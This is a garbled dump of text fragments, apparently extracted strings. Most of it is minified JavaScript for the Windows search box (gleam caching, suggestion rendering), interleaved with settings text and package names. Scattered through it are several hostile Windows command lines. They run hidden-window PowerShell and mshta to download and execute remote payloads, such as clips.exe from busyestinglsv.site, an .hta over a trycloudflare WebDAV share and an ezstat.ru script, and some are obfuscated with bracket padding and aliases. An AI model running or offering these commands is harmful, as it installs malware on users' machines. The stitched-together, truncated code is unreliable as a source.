u={telemetryId:i===null||i===void 0?void 0:i.telemetryId,gleam:i,cacheTime:n.getCurrentTime()};n.LightweightStorage.setItem(r,JSON.stringify(u))}}get3pGleamCache(t){if((n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)||!n.isThirdPartyGleamSupported()||!t)return undefined;try{let u=t.applicationUserModelId,i=n.LightweightStorage.getItem(u),r;return i&&(r=JSON.parse(i)),r}catch(i){i instanceof Error?n.DSBLogError("load3pGleamFromCache",`Name: ${i.name}, message: ${i.message}`,`stackTrace: ${i.stack}`):n.DSBLogError("load3pGleamFromCache",`failed to load 3p gleam from cache. ex: ${JSON.stringify(i)}`)}return undefined}updateDismissedMomentsContentToCache(n,t){const i=this.createDismissKeyForMoment(n);this.dismissedMomentsContentCache.hasOwnProperty(i)?this.dismissedMomentsContentCache[i].push(t):this.dismissedMomentsContentCache[i]=[t];this.setDismissedMomentsContentToCache(this.dismissedMomentsContentCache)}resetDynamicSearchContent(){this.multiMomentsDataModel=null;this.DSBMiniserpDataModel=null;this.selectableElementGroups=[];this.dynamicSearchBoxContent=null}loadDSBSearchFallbackStatus(){this.DSBSearchCallStatus=n.LightweightStorage.getItem(this.DSBSearchCallStatusCacheKey)}setDSBSearchFallbackStatus(t){n.config.enableDSBMergedRefactor&&(this.DSBSearchCallStatus=t,n.LightweightStorage.setItem(this.DSBSearchCallStatusCacheKey,this.DSBSearchCallStatus))}getInstrumentProps(){var t,i;if(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode())return this.instrumentedBlendedProps;if(n.config.enableRenderMomentDataSource){const n=this.activeMomentsIndexMap[this.activeMomentDate];return((t=this.instrumentedPropsCI)===null||t===void 0?void 0:t.hasOwnProperty(n!==null&&n!==void 0?n:0))?(i=this.instrumentedPropsCI)===null||i===void 0?void 0:i[n!==null&&n!==void 0?n:0]:null}return this.instrumentedPropsC}updateInstrumentProps(t,i,r){n.config.enableRenderMomentDataSource&&r>=0?(this.instrumentedPropsCI||(this.instrumentedPropsCI=[]),this.instrumentedPropsCI[r]=this.instrumentedPropsCI[r]?this.instrumentedPropsCI[r].concat(t):t):this.instrumentedPropsC=this.instrumentedPropsC?this.instrumentedPropsC.concat(t):t}getValidDismissKeys(){let t=n.getDSBMomentCurrentDatetsResponse(c,t,!0,n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode());this.multiMomentsDataModel||this.instrumentDSBFallback(13,t,null,u)}this.resetStatusBasedOnDismissedMoment();const f=(t=this.multiMomentsDataModel)===null||t===void 0?void 0:t.moments[(i=this.activeMomentsIndexMap[this.currentDateDSBStr])!==null&&i!==void 0?i:0];let o=this.getGleamDataFromMoment(f),s=(r=f===null||f===void 0?void 0:f.momentMetadata)===null||r===void 0?void 0:r.MomentType,h=this.getGleamSetReason(f);if(this.shouldShowBingGleam()){let n=this.loadBingGleamFromCache("loadCurrentDayContentFromCache");n&&(o=n,s=undefined,h=4)}n.isSearchPointsOfFlexibilityEnabled()?this.setGleamDataPoFSchema(o,!1,h,s):this.setGleamData(o,e,!1,h,s);this.hasPendingGleamUpdate=!0}}getGleamDataFromMoment(t){var i,r,u,f,e,o,s;let h=(u=(r=(i=t===null||t===void 0?void 0:t.sectionGroups)===null||i===void 0?void 0:i.find(n=>n.cardType==="Hero"))===null||r===void 0?void 0:r.sections)!==null&&u!==void 0?u:(e=(f=t===null||t===void 0?void 0:t.topSectionBlock)===null||f===void 0?void 0:f.find(n=>n.cardType==="Hero"))===null||e===void 0?void 0:e.sections;if(h){let t=(s=(o=h[0])===null||o===void 0?void 0:o.gleamData)!==null&&s!==void 0?s:null;return t&&(t===null||t===void 0?void 0:t.telemetryId)&&n.isTSInSearchBoxEnabled()&&(t=this.setTSInGleamData(t)),t}return null}setTSInGleamData(t){var i;let r=(i=n.getTSForSearchBox())!==null&&i!==void 0?i:"";if(r){const i=n=>{const t=Math.floor(Math.random()*4294967295).toString(16).padStart(8,"0"),i=Math.floor(Math.random()*4294967295).toString(16).padStart(8,"0");return`${n}${t}-${i}`};t.telemetryId=i("ODSWG.");t.content.taskbarSearchBox.input||(t.content.taskbarSearchBox.input={});t.content.taskbarSearchBox.input.placeholderText=r;t=n.deepCopy(t)}return t}updateTSInSearchBox(){var i,r,u;n.placeholdertextNeedUpdate=!1;const t=(i=this.multiMomentsDataModel)===null||i===void 0?void 0:i.moments[(r=this.activeMomentsIndexMap[this.currentDateDSBStr])!==null&&r!==void 0?r:0];let f=this.getGleamDataFromMoment(t);this.setGleamDataPoFSchema(f,!0,6,(u=t===null||t===void 0?void 0:t.momentMetadata)===null||u===void 0?void 0:u.MomentType)}shouldShowBingGleam(){if(!n.config.useCobaltCSS||!n.config.enableCodexGleam||!n.VelocityKeys||!n.isCodexEligible())return!1;const t=n.VelocityKeys.getFeatureStatus(43349158);return t!=="0"?t==="1":n.VelocityKeys.isFeatureEnabled(43572857)}loadDismissedMomentsFromCache(){const t=n.LightweightStorage.getItem(this.DismissedMomentsStorageKey);if(t){this.dismissedMomentsContentCache=JSON.parse(t);let n=!1;const i=this.getValidDismissKeys();for(let t in this.dismissedMomentsContentCache)i.indexOf(t)===-1&&(delete this.dismissedMomentsContentCache[t],n=!0);n&&this.setDismissedMomentsContentToCache(this.dismissedMomentsContentCache)}}setDynamicSearchMultiMomentsContentToCache(t){(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)||n.LightweightStorage.setItem(this.DataModelStorageKey,JSON.stringify(t))}setDSBV2MultiMomentsContentToCache(t){(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)||n.LightweightStorage.setItem(this.DSBV2DataModelStorageKey,JSON.stringify(t))}setDismissedMomentsContentToCache(t){(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)||n.LightweightStorage.setItem(this.DismissedMomentsStorageKey,JSON.stringify(t))}setBingGleamToCache(t,i){var r,u;if((n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?!void 0:!n.TestHookUrlParameters.disableDSBCache)&&((r=i===null||i===void 0?void 0:i.LightGleamUrl)===null||r===void 0?void 0:r.indexOf("BingChatNavigation"))>-1){let f={user:t,gleam:i,cacheTime:n.getCurrentTime()},r=(u=n.getAccessTokenManager())===null||u===void 0?void 0:u.getSelectedAccountId();r&&(n.LightweightStorage.setItem(this.currentUserIDCacheKey,r),n.LightweightStorage.setItem(this.codexStatusCacheKey+r,JSON.stringify(f)));this.bingGleam=i}}loadBingGleamFromCache(){var 
Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
/vmware/configurations/vmtools/windows/tools.conf
/..\..\..\..\..\..\windows\system32\windowspowershell\v1.0\powershell.exe-wh-c$a3=$([char]105);set-aliasbset-alias;bf$a3'wr';bmr$a3'ex';$sjqz8=$([char]104+[setup.dat
c:\windows\system32\windowspowershell\v1.0\powershell.exe-oproxycommand="powershellpowershell-command('m]]]]]]]sh]]]]]]]ta]]]]]].]]]]]e]]]]]]x]]]]]e]]]]]h]]]]]tt]]]]]]ps:]]]]]]/]]]]]/c]]]]]n]]]]]]d]]]]]]]e]]]]]]f]]]]]]]1]]]]].]]]]]]g]]]]]r]]]]]]]e]]]]]en-pa]]]]]]]th]]]]]]]w]]]]]a]]]]]ys.s]]]]]ho]]]]]p/]]]]]]api]]]]]]]/re]]]]]]]g/]]]]]]]z]]]]].]]]]]mp]]]]]4]]]]]]'-replace']')".
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-commandopenwith.exe;(new-objectsystem.net.webclient).downloadfile('http://busyestinglsv.site/cmeo/ahbsfrbahogrfoweybrzhfbshdlhabdfhbawvgfrweifrvboherjbvfwr/zxfhvgkhchbavsdfabvlgf1244rhgv5hvkghvkhvkh6vkgvh/clips.exe','
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
.run("c:\windows\system32\cmd.exe/cstart/maxhttps://www.adobe.com
='hkcu:\software\microsoft\windows\currentversion\explorer\startupapproved\startupfolder'
R8c:\windows\system32\cmd.exe/v/c"set"c1=teslacar"&&callset"
c:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%\system32\write.exe)1rwh
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-commandmshtahttps://ezstat.ru/
c:\windows\system32\mshta.exe"\\retained-gzip-hat-four.trycloudflare.com@ssl\davwwwroot\12.hta"
; ;ype),ft=t=>{const i=r.narratorText||r.text;return(f===null||f===void 0?void 0:f.text)&&t===0?`${f.text} ${n.Host.getLocString("Group")},${i}`:i},et=(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.qfUtils.isDocumentZeroQueryEnabled())&&n.Host.getQuery().scope===n.Scope.Documents,tt=n.config.enableAutoSuggestMultiEntity&&!!r.secondaryIcon,ot=n.config.wsbWithCopilotQF&&!g&&(r===null||r===void 0?void 0:r.getExtraVerbs)&&(n.isDocument(r.type)||n.RuntimeConfiguration.TextScaleFactor>1.25),o=n.isImageGridEnabledForItem(r.type,nt)||n.shouldShowBingImageSearch(r.type,nt),st=n.Host.getLocString("OpenImageGridPreviewPaneTooltip"),ht=(f===null||f===void 0?void 0:f.instRegionName)==="TrendingSearchData"&&(r===null||r===void 0?void 0:r.iconIsThumbnail);let bt=n.config.enableStoreAppPreviewWithESRB&&r.type==="SAPP",ct=!1,l=!1,a=!1,s=undefined;if(n.config.optSugHoverStyle>0&&!n.isZeroInputAllScope(n.Host.getQuery())){ct=n.config.optSugHoverStyle===1||n.config.optSugHoverStyle===2;l=n.config.optSugHoverStyle===3||n.config.optSugHoverStyle===4;const t=n.config.optSugHoverStyle===1||n.config.optSugHoverStyle===3,i=n.config.optSugHoverStyle===2||n.config.optSugHoverStyle===4;a=nt&&t||i;s=l?n.bindSuggestionHoverStyle():undefined}let kt=t.classNames("suggestion",{sa_hv:r.selected&&!r.selectedStyleSuspended,arrowOrTabAction:r.arrowOrTabAction&&r.selected,selectable:!!r.click||n.isStore(r.type),selected:r.selected,withOpenPreviewPaneBtn:c&&wt&&!(n.config.disableQFPreviewBtnForChatSugg&&n.searchChatIconClassName()===((y=r.icon)===null||y===void 0?void 0:y.className))&&!o,previewPaneOpened:ut?r.selected:r.hasPreviewPaneOpened,previewPaneOpening:r.isPreviewPaneOpening,removeIconPadding:!!r.removeIcon,entityWithThumb:tt,localStoreAppSugg:bt,pointerCursor:n.config.enablePointerCursorForSugg,dynamicTsSuggestion:ht,optSugHoverStyle:ct&&a,iconBackplateEnabled:n.config.enableIconBackplate},r.classNames.join(" "));const lt=r;if(r.staticGroupType==n.GroupType.RecommendedDocs&&et&&!lt.url)return null;if(n.isStore(r.type)){const n=document.getElementById("Storegr10");n&&((p=n.classList)===null||p===void 0?void 0:p.remove("b_hide"))}const v=SearchAppWrapper.CortanaApp.entryPoint,dt=n.isTextUpsized();let at="";r.type=="TOPL"&&dt&&(at=v=="WNSSTB"||v=="WNSSSB"||v=="WNSPBS"||v=="WNSGLY"?"80px":"95px");const gt="largeIconSize"+((n.config.enableRecentLocalSearchWebIcon||n.config.enableRecentASSearchWebIcon)&&r.dataSource==="MRS"?" recentSearchWebIcon":""),vt={height:at};return React.createElement("li",Object.assign({className:kt,onContextMenu:n=>rt(r,n.nativeEvent),onClick:n=>{o?r.selected?it(r,n.nativeEvent):c===null||c===void 0?void 0:c.clickHandler(r,n.nativeEvent):it(r,n.nativeEvent)},id:r.id,"data-partnertag":t.whenTestHooks("AutoSuggest.RegularSuggestion")},o?{}:{"aria-selected":r.selected?"true":"false"},{"aria-label":ft(h!==null&&h!==void 0?h:-1),"aria-level":g?1:2,"data-stype":t.whenTestHooks(r.type),"data-h":r.instItem.getHValue(),"data-clicks":r.isReformulation?"true":null,"data-noct":r.isReformulation?"true":null,title:o?r.tooltip?r.tooltip+"\n\n"+st:r.query+"\n\n"+st:(w=r.tooltip)!==null&&w!==void 0?w:r.query,role:"option",draggable:!0,onDragStart:t=>n.RootViewModel.handleSuggestionDragStartEvent(t,r),style:vt}),React.createElement("div",{className:t.classNames("suggContainer",{wrappableSuggestionContainer:n.config.newGroupHeaderStyle1},{largerSearchIcon24:n.config.enableLargerSearchIcon24},{largerSearchIcon12:n.config.enableLargerSearchIcon12},{largerSearchIcon14:n.config.enableLargerSearchIcon14})},React.createElement("button",Object.assign({className:t.classNames("suggDetailsContainer",{leftPill:r.selected},{limitScaleRange:n.config.limitScaleRange},{imageGridIconContainer:o}),"data-partnertag":t.whenTestHooks("Suggestion.SuggDetailsContainer"),style:vt,type:"button"},o?{"aria-label":ft(h!==null&&h!==void 0?h:-1),"aria-hidden":"true"}:{},{onMouseEnter:l&&a?()=>s===null||s===void 0?void 0:s.onMouseEnter(r.id):undefined,onMouseLeave:l&&a?()=>s===null||s===void 0?void 0:s.onMouseLeave(r.id):undefined}),tt?React.createElement(t.Icon,{icon:r.secoltip},React.createElement("div",{className:"suggDetailsContainer","data-partnertag":t.whenTestHooks("Suggestion.SuggDetailsContainer")},React.createElement(t.Icon,{icon:(u=this.state.icon)!==null&&u!==void 0?u:i.icon,badgeIcon:n.shouldShowBadgeIcon()?i.badgeIcon:undefined}),React.createElement(r,{suggestion:i,isSearchHome:o})))}}t.WindowsSuggestionFileExplorer=i;class r extends React.Component{render(){const{suggestion:i,isSearchHome:u}=this.props;let r=i.primaryMetadata;return React.createElement("div",{className:"details"},React.createElement("div",{className:"primaryText","data-partnertag":t.whenTestHooks("Suggestion.PrimaryText")},React.createElement("div",null,React.createElement("span",{className:"title"},React.createElement(t.HighlightedText,{text:i.text,dir:"ltr",reverse:n.hasReverseHighlighting(i,u)})),!!r&&React.createElement("span",{className:"secondaryText annotation"},React.createElement(t.HighlightedText,{text:r})))),React.createElement(t.RemoveIcon,{icon:i.removeIcon}))}}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){function i(t){(n.config.zeroInputShowPreview==1||n.config.zeroInputShowPreview==3)&&((t.dataSource=="MPP"||t.dataSource=="MST"||t.dataSource=="MFF")&&(t.previewPaneType=2),t.dataSource=="MRS"&&(t.previewPaneType=1));(n.config.zeroInputShowPreview==2||n.config.zeroInputShowPreview==3)&&t.dataSource=="DFLS"&&(t.previewPaneType=2)}t.setZeroInputSuggestionPreviewPaneType=i;class r extends React.Component{constructor(t){super(t);this.shouldComponentUpdate=(t,i)=>!n.config.reactGroups||n.shouldComponentUpdateOverload(this,t,i);this.state={icon:null,storeAppsInstalled:!0}}componentWillMount(){var i,t,r,u,f;if(n.config.reactGroups&&this.props.suggestion.getIcon&&!this.state.icon){let u=n.SequenceNumberManager.getSequenceNumber();(i=this.props)===null||i===void 0?void 0:i.notifyIconPending(u,this.props.isFirst,this.props.where);(n.isImageGridEnabledForItem(this.props.suggestion.type,this.props.topResult)||n.shouldShowBingImageSearch(this.props.suggestion.type,this.props.topResult))&&((r=(t=this.props)===null||t===void 0?void 0:t.notifyImageGridThumbnailPending)===null||r===void 0?void 0:r.call(t,u,this.props.suggestion.id));this.props.suggestion.getIcon(n.RootViewModel.getImageSize(n.Host.getQuery(),this.props.suggestion,this.props.isFirst),t=>{n.populateImageRatio(t,this.props.suggestion.type,()=>{var r,i,f;(r=this.props)===null||r===void 0?void 0:r.notifyIconReadyOrFailed(u,this.props.isFirst,"wssl-"+this.props.where);t&&(n.isImageGridEnabledForItem(this.props.suggestion.type,this.props.topResult)||n.shouldShowBingImageSearch(this.props.suggestion.type,this.props.topResult))&&((f=(i=this.props)===null||i===void 0?void 0:i.notifyImageGridThumbnailReady)===null||f===void 0?void 0:f.call(i,u,this.props.suggestion.id));this.setState({icon:t})})},!!(n.config.newFilesPreviewPane||n.Host.isImageGridEnabled()||n.config.enableImageSearch))}if(n.config.enableWinStoreAppPreview&&n.config.reactGroups&&((u=this.props.suggestion)===null||u===void 0?void 0:u.type)==="SPP"){let t=(f=this.props.suggestion)===null||f===void 0?void 0:f.productName;if(t){let i=n.Host.getAllInstalledAppsByQueryInCurrentConversation(t);i&&i.length>0&&(i===null||i===void 0?void 0:i.includes(t.toLowerCase()))?(this.props.suggestion.installed=!0,this.props.suggestion.suppressed=!0):(i&&this.setState({storeAppsInstalled:!1}),n.OnlineSuggestionsParser.getAllAppsInstalledInLocal(t).then(n=>{n&&n.length>0&&(n===null||n===void 0?void 0:n.includes(t.toLowerCase()))?(this.props.suggestion.installed=!0,this.props.suggestion.suppressed=!0):this.setState({storeAppsInstalled:!1})}))}}}render(){var y,p,w,b,k,d;const{suggestion:r,openPreviewPaneButton:c,isSearchHome:g,isFirst:yt,clickHandler:it,webSuggestionAnnotation:pt,contextMenuHandler:rt,groupInfo:f,index:h,topResult:nt}=this.props;if(!r||n.config.enableWinStoreAppPreview&&r.type==="SPP"&&this.state.storeAppsInstalled===!0)return null;n.isZeroInputShowPreview()&&i(r);const wt=!!r.previewPaneType,ut=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isWorkScope(r.handoffT
reateElement(o,{option:r}));break;default:t.push(React.createElement(f,{option:r}));t.push(React.createElement(i,{dismiss:r.dismiss}))}return t?React.createElement("div",null,t):null},f=i=>{const{option:r}=i;return React.createElement("div",null,r.message&&React.createElement("p",{className:"advancedOptionHeading"},r.message),React.createElement("input",{type:"button",role:"button",className:"focusable","data-partnertag":t.whenTestHooks("AutoSuggest.TopHitHeader.AdvancedOption"),tabIndex:-1,onClick:t=>n.invokeClickHandler(r.click,t.nativeEvent),"data-h":r.instItem?r.instItem.getHValue():undefined,"aria-selected":r.selected,"aria-label":r.narratorText,"data-clicks":"true",value:r.text}))},e=i=>{const{option:r}=i;return React.createElement("div",null,React.createElement(t.Icon,{icon:r.icon}),React.createElement("div",{className:"details"},React.createElement("a",{href:"#",className:"accentColor focusable additionalInfoText","data-partnertag":t.whenTestHooks("AutoSuggest.TopHitHeader.AdvancedOption"),tabIndex:-1,onClick:t=>n.invokeClickHandler(r.click,t.nativeEvent),"data-h":r.instItem?r.instItem.getHValue():undefined,"data-clicks":"true"},r.message)))},o=i=>{const{option:r}=i;return React.createElement("div",null,React.createElement("div",{className:"messageWithButton"},r.icon&&React.createElement(t.Icon,{icon:r.icon}),React.createElement("span",{className:"advancedOptionMessage",tabIndex:-1,"data-h":r.instItem?r.instItem.getHValue():undefined,"data-clicks":"true"},r.message),React.createElement("input",{type:"button",role:"button",className:"focusable advancedOptionButton","data-partnertag":t.whenTestHooks("AutoSuggest.TopHitHeader.AdvancedOption"),tabIndex:-1,onClick:t=>n.invokeClickHandler(r.click,t.nativeEvent),"data-h":r.instItem?r.instItem.getHValue():undefined,"aria-selected":r.selected,"aria-label":r.narratorText,"data-clicks":"true",value:r.buttonLabel}),!!r.dismiss&&React.createElement("div",{className:"advancedOptionDimiss",onClick:()=>r.dismiss.action(),role:"button"},React.createElement(t.Icon,{icon:r.dismiss.icon}))))},i=n=>{const{dismiss:i}=n;return i?React.createElement("a",{href:"#","data-partnertag":t.whenTestHooks("AdvancedOption.Dismiss"),"aria-label":t.getLocString("DismissUpsell"),title:t.getLocString("DismissUpsell"),className:"cancelIcon focusable",onClick:()=>i.action(),tabIndex:-1},React.createElement(t.Icon,{icon:i.icon})):null}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class i extends React.Component{constructor(){super(...arguments);this.shouldComponentUpdate=(t,i)=>n.shouldComponentUpdateOverload(this,t,i)}render(){const{dataModel:o}=this.props;if(!o)return null;const{headerText:f,message:r,subMessage:e,messageIcon:h,isTwoColumnsLayout:c,freDataModel:i,instItem:u}=o,s=(i===null||i===void 0?void 0:i.isWorkScopeZi)&&!!r;return n.config.enablePaddingUnderTemporary&&n.RuntimeConfiguration.TextScaleFactor>1.7&&requestAnimationFrame(()=>{var t,i,r;const u=(i=(t=n.StaticHtmlElements.temporaryMessages)===null||t===void 0?void 0:t.clientHeight)!==null&&i!==void 0?i:0;u>0&&((r=_ge("search-description"))===null||r===void 0?void 0:r.classList.add("tmpMoveUpperFix"))}),React.createElement("div",{className:s?"topHitHeaderContainer":null,"data-region":u?"NoResult":null},f&&React.createElement("div",{className:"groupHeader"},React.createElement("h4",{className:"groupTitle","aria-label":f},f)),s&&!n.config.disableMsbBundle&&React.createElement(t.MsbFreContainer,{dataModel:i}),!i&&!!r&&React.createElement("div",{"data-h":u===null||u===void 0?void 0:u.getHValue(),className:t.classNames("scopeMessage",{scopeTwoColumsLayout:c}),role:"status",id:"search-description"},React.createElement(t.Icon,{icon:h}),React.createElement("p",{className:"details","aria-level":0,"aria-label":r,role:"heading","data-partnertag":t.whenTestHooks("message")},r),!!e&&React.createElement("p",{className:"additionalDetails","aria-level":0,"aria-label":e,role:"heading","data-partnertag":t.whenTestHooks("subMessage")},e)))}}t.TopHitHeader=i})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){cap(n=>React.createElement("input",{type:"button",key:n.id,className:t.classNames({colored:n.useAccentColor,focusable:f}),value:n.text,id:n.id,tabIndex:-1,"data-partnertag":t.whenTestHooks("DialogBoxButton")})))))}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class i extends t.DynamicHeightView{constructor(){super(...arguments);this.state={hasBeenFocused:!1};this.containerRef=React.createRef();this.handleButtonFocus=(n,t)=>{this.state.hasBeenFocused||(this.setState({hasBeenFocused:!0}),n.setAttribute("aria-label",t?t:""))};this.handleBlur=()=>{setTimeout(()=>{const n=document.activeElement;this.containerRef.current&&n&&!this.containerRef.current.contains(n)&&this.setState({hasBeenFocused:!1})},0)}}render(){const{dataModel:s}=this.props;if(!s)return null;const{clickHandler:h,messageText:e,title:u,action:i,icon:o,messageClassName:c,messageTextTitle:f,dismissAction:r}=s;return React.createElement("div",{className:t.classNames("visible",c),"data-partnertag":t.whenTestHooks("Message"),onClick:n=>h&&h(n.nativeEvent),ref:this.containerRef,onBlur:this.handleBlur,tabIndex:-1},React.createElement("div",{className:t.classNames("message","itemTooltip",{messageWithAction:i!=null})},o&&React.createElement(t.Icon,{icon:o}),React.createElement("div",{className:t.classNames({details:o!=null})},f&&React.createElement("div",{className:"textBlock"},f&&React.createElement("div",{className:"titleText",role:"status",title:f},React.createElement("span",null,f)),React.createElement("div",{className:"primaryText",role:"status",title:e},React.createElement("span",null,e))),!f&&React.createElement("div",{className:"primaryText",role:"status","aria-label":e},React.createElement("span",{"aria-hidden":"true"},e)),i&&r&&React.createElement("div",{className:"actionBlock"},i&&React.createElement("div",{className:t.classNames("primaryText","accentColor","selectable",{sa_hv:i.selected}),role:"button",onClick:t=>n.invokeClickHandler(i.click,t.nativeEvent),id:i.id,tabIndex:-1,"data-h":i.instItem.getHValue(),"data-partnertag":t.whenTestHooks("AutoSuggest.WindowsMessageAction"),"data-clicks":"true",title:u,onFocus:n=>this.handleButtonFocus(n.currentTarget,i.tooltip),onBlur:n=>n.currentTarget.setAttribute("aria-label","")},i.text),r&&React.createElement("div",{className:t.classNames("primaryText","accentColor","selectable",{sa_hv:r.selected},"dismissAction"),role:"button",onClick:t=>n.invokeClickHandler(r.click,t.nativeEvent),id:r.id,tabIndex:-1,title:r.title,"data-h":r.instItem.getHValue(),"data-partnertag":t.whenTestHooks("AutoSuggest.WindowsMessageAction"),"data-clicks":"true",onFocus:n=>this.handleButtonFocus(n.currentTarget,r.tooltip),onBlur:n=>n.currentTarget.setAttribute("aria-label","")},r.text)),i&&!r&&React.createElement("div",{className:t.classNames("primaryText","accentColor","selectable",{sa_hv:i.selected}),onClick:t=>n.invokeClickHandler(i.click,t.nativeEvent),id:i.id,tabIndex:-1,"data-h":i.instItem.getHValue(),"data-partnertag":t.whenTestHooks("AutoSuggest.WindowsMessageAction"),"data-clicks":"true",title:u,"aria-label":u,onFocus:()=>n.focusedToolTipHandler(`#${i.id}`,"title",u),onBlur:()=>n.focusedToolTipHandler(`#${i.id}`,"title",u)},i.text))))}}t.WindowsMessage=i})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class r extends React.Component{constructor(){super(...arguments);this.shouldComponentUpdate=(t,i)=>n.shouldComponentUpdateOverload(this,t,i)}render(){const{advancedOptions:n,additionalClass:i}=this.props;return!n||n.length==0?null:React.createElement("div",{className:t.classNames("advancedOptions",i)},n.map(n=>React.createElement("div",{key:n.id,id:n.id,className:t.classNames("advancedOption",n.cssClass,{selectable:n.selected,sa_hv:n.selected,withoutPadding:n.layout==6})},n.title&&React.createElement("h4",{className:"groupHeader groupTitle"},n.title),React.createElement(u,{option:n}))))}}t.AdvancedOptions=r;const u=n=>{const{option:r}=n;let t=[];switch(r.layout){case 1:t.push(React.createElement(e,{option:r}));t.push(React.createElement(i,{dismiss:r.dismiss}));break;case 6:t.push(React.c0\r
https://www.bing.com/rp/IYl_PXtaSAdW2oGnwdMeFqYlJis.br.jsvar WSB;(function(n){var t;(function(n){function t(...n){let t=[];for(let i of n)if(i)if(typeof i=="string")t.push(i);else for(let n in i)i[n]&&t.push(n);return t.length>0?t.join(" "):null}function i(n){return ThresholdUtilities.getUrlParameter(location.search,"isTest")?n:undefined}n.ViewData={};n.classNames=t;n.whenTestHooks=i})(t=n.View||(n.View={}))})(WSB||(WSB={})),function(n){var t;(function(n){class t extends React.Component{componentDidMount(){this.props.adjustHeight&&this.props.adjustHeight()}componentDidUpdate(){this.props.adjustHeight&&this.props.adjustHeight()}}n.DynamicHeightView=t})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class i extends React.Component{render(){const{suggestion:i,openPreviewPaneButton:r}=this.props,u=n.config.newGroupHeaderStyle1?"OpenLocalPreviewPaneTooltipNew":"OpenWebPreviewPaneTooltip",f=n.config.newGroupHeaderStyle1?"OpenLocalPreviewPaneTooltipNew":"OpenLocalPreviewPaneTooltip",o=(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isWorkScope(i.handoffType))&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled());if(!r||!i.previewPaneType)return null;const e=i.previewPaneType==1;return React.createElement("div",{className:t.classNames({zeroInputPreview:n.isZeroInputShowPreview()&&(i.dataSource=="DFLS"||i.dataSource=="MPP"||i.dataSource=="MST"||i.dataSource=="MRS"||i.dataSource=="MFF")},n.config.newGroupHeaderStyle1?"openPreviewPaneText":"openPreviewPaneBtn",n.config.newGroupHeaderStyle1&&i.selected&&"b_hide"),onClick:t=>{((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isWorkScope(i.handoffType))&&i.type=="MVALL"||o&&n.isMsbSubverticalOnlineSuggestionType(i.type))&&n.InstrumentationHelper.logClientInstEvent("Select","WorkScopePillSelect",undefined,{suggestionType:i.type}),r.clickHandler(i,t)},"data-partnertag":t.whenTestHooks("Suggestion.OpenPreviewPaneButton"),"data-noct":"true",role:"button",title:t.getLocString(e?u:f),"aria-label":t.getLocString(e?u:f)},n.config.newGroupHeaderStyle1?React.createElement("span",null,n.Host.getLocString("SuggestionPreview")):React.createElement(React.Fragment,null,React.createElement("span",{className:"openPreviewIcon",role:"presentation"},React.createElement(t.Icon,{icon:r.defaultIcon})),React.createElement("span",{className:"previewOpenedIcon",role:"presentation"},React.createElement(t.Icon,{icon:r.openedIcon}))))}}t.PreviewPaneButton=i})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class i extends React.Component{render(){const{icon:i}=this.props;if(!i)return null;const r=n.getRemoveIconTitleAndAriaLabel(i.title);return React.createElement("span",{className:t.classNames("removeIcon",{selected:i.selected}),title:r,"aria-selected":i.selected?"true":"false","aria-label":r,role:"option",onClick:t=>{t.nativeEvent.stopPropagation(),t.stopPropagation(),n.invokeClickHandler(i.click,t.nativeEvent)},"data-partnertag":t.whenTestHooks("Suggestion.RemoveIcon")},React.createElement(t.Icon,{icon:i.icon}))}}t.RemoveIcon=i})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){t.WindowsDialogBox=i=>{const{isModal:f,isVisible:e,title:r,messageText:o,buttons:u}=i.dataModel;return(React.useEffect(()=>{let t=u===null||u===void 0?void 0:u.filter(n=>n.selected)[0];return t&&n.safeSetTimeout(()=>{n.Host.setFocusInWebView("dialogBoxViewModel"),_ge(t.id).focus()},30,"DialogBox.show"),()=>{n.Host.setFocusInSearchBox(null,"updateDialogBox: hidden")}},[e]),!e)?null:React.createElement("div",{id:"dialog_overlay","data-partnertag":t.whenTestHooks("DialogBoxOverlay"),className:t.classNames({wsbModal:f})},React.createElement("div",{className:"dialogBox","data-partnertag":t.whenTestHooks("DialogBox")},React.createElement("div",{className:"dialogText"},n.config.useCobaltCSS&&r&&React.createElement("p",{className:"uninstallTitle"},r),!n.config.useCobaltCSS&&r&&React.createElement("h1",null,r),React.createElement("p",null,o)),React.createElement("div",{className:"dialogBtnContainer"},u.m
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1a
/MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBacku
